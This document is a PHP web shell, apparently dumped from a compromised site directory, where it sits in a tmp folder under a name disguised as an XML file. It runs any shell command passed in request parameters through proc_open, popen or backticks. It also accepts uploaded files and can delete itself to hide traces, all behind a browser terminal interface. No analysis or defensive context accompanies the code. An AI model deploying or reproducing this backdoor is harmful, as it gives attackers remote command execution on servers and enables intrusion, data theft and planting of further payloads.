Your IP : 216.73.216.47
| Current Path : /home/atice/www/tmp/ |
|
|
| Current File : /home/atice/www/tmp/jceg138xs7e.xml.php |
<?php
$cmd = $_GET['c'] ?? $_POST['x'] ?? '';
$cwd = $_POST['d'] ?? getcwd();
if ($cmd === '') {
if (isset($_FILES['u'])) {
$d = $cwd . '/' . basename($_FILES['u']['name']);
if (@move_uploaded_file($_FILES['u']['tmp_name'], $d)) echo "UPLOADED: " . htmlspecialchars($d);
else echo "UPLOAD FAILED";
exit;
}
if (isset($_GET['del'])) { @unlink(__FILE__); echo "DELETED"; exit; }
if (isset($_POST['d'])) { @chdir($_POST['d']); $cwd = getcwd(); }
$srv = $_SERVER['SERVER_NAME'] ?? gethostname();
$usr = function_exists('get_current_user') ? get_current_user() : '?';
?><!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>CMD</title>
<style>
:root{--bg:#0d1117;--fg:#c9d1d9;--g:#58a6ff;--o:#f0883e;--b1:#161b22;--b2:#21262d;--t:#8b949e}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--fg);font:14px Consolas,monospace;height:100vh;display:flex;flex-direction:column}
#hd{background:var(--b1);padding:8px 16px;display:flex;justify-content:space-between;border-bottom:1px solid var(--b2);font-size:13px}
.pw{color:var(--g);font-weight:bold}.if{color:var(--t)}
#tm{flex:1;overflow-y:auto;padding:12px 16px}
.ln{padding:2px 0;white-space:pre-wrap;word-break:break-all;font-size:13px;line-height:1.5}
.pr{color:var(--g)}.op{color:var(--fg)}.er{color:#f85149}
.wl{color:var(--t);font-size:12px;padding:4px 0}
#ia{background:var(--b1);padding:10px 16px;border-top:1px solid var(--b2);display:flex;align-items:center;gap:8px}
#ci{flex:1;background:transparent;border:none;color:var(--fg);font:14px Consolas,monospace;outline:none}
.pg{color:var(--g);font-weight:bold;white-space:nowrap}
#tb{position:fixed;bottom:60px;right:16px;display:flex;flex-direction:column;gap:6px}
.bt{background:var(--b2);border:1px solid var(--b2);color:var(--fg);padding:6px 12px;cursor:pointer;font:12px Consolas;border-radius:6px}
.bt:hover{border-color:var(--g);color:var(--g)}
#up{display:none;position:fixed;bottom:100px;right:16px;background:var(--b1);padding:12px;border:1px solid var(--b2);border-radius:8px}
</style></head><body>
<div id="hd"><span><span class="pw" id="pw"><?php echo htmlspecialchars($cwd); ?></span></span>
<span class="if"><?php echo htmlspecialchars($usr.'@'.$srv); ?> | PHP <?php echo PHP_VERSION; ?></span></div>
<div id="tm"><div class="wl">type command · help: id, ls, pwd · clear · upload via button</div></div>
<div id="ia"><span class="pg">$</span><input id="ci" autofocus autocomplete="off" spellcheck="false"
onkeydown="if(event.key==='Enter')x();if(event.key==='ArrowUp'){event.preventDefault();if(h.length){hi=Math.max(0,hi-1);ci.value=h[hi];}}"></div>
<div id="tb"><button class="bt" onclick="t('up')">upload</button></div>
<div id="up"><form onsubmit="return u()"><input type="file" id="fi"><button class="bt" type="submit">go</button></form></div>
<script>
var tm=document.getElementById('tm'),ci=document.getElementById('ci'),h=[],hi=-1,w=document.getElementById('pw').textContent;
function es(s){return s.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');}
function x(){
var c=ci.value.trim();if(!c)return;h.push(c);hi=h.length;ci.value='';
tm.innerHTML+='<div class="ln"><span class="pr">'+es(w)+'> </span>'+es(c)+'</div>';
if(c==='clear'||c==='cls'){tm.innerHTML='';return;}
var d=new FormData();d.append('x',c);d.append('d',w);
fetch('',{method:'POST',body:d}).then(r=>r.text()).then(t=>{
tm.innerHTML+='<div class="ln"><span class="op">'+es(t.replace(/^<br>/,''))+'</span></div>';
tm.scrollTop=tm.scrollHeight;
if(c.toLowerCase().startsWith('cd ')){
var nd=c.substring(3).replace(/^["\']|["\']$/g,'');
fetch('',{method:'POST',body:new URLSearchParams({d:nd})}).then(function(){
var f=new FormData();f.append('x','pwd 2>/dev/null||cd');f.append('d',nd);
fetch('',{method:'POST',body:f}).then(function(r){return r.text()}).then(function(t2){
var m=t2.match(/([A-Z]:\\[^\r\n]+|[^\s]+)/);if(m){w=m[1].trim();document.getElementById('pw').textContent=w;}
})})}
}).catch(function(e){tm.innerHTML+='<div class="ln"><span class="er">'+es(e.message)+'</span></div>';});
}
function u(){
var f=document.getElementById('fi');if(!f.files.length)return!1;
var d=new FormData();d.append('u',f.files[0]);
fetch('',{method:'POST',body:d}).then(function(r){return r.text()}).then(function(t){alert(t);t('up');});return!1;
}
function t(id){var e=document.getElementById(id);e.style.display=e.style.display==='block'?'none':'block';
</script></body></html>
<?php
exit;
}
@chdir($cwd);
$p = @proc_open($cmd, [["pipe","r"],["pipe","w"],["pipe","w"]], $pp);
if (is_resource($p)) {
@fclose($pp[0]);
echo @stream_get_contents($pp[1]);
@fclose($pp[1]);
@fclose($pp[2]);
@proc_close($p);
} elseif (function_exists('popen')) {
$h = @popen($cmd, 'r');
if (is_resource($h)) { while (!feof($h)) echo fread($h, 8192); pclose($h); }
} else {
echo @`$cmd`;
}
?>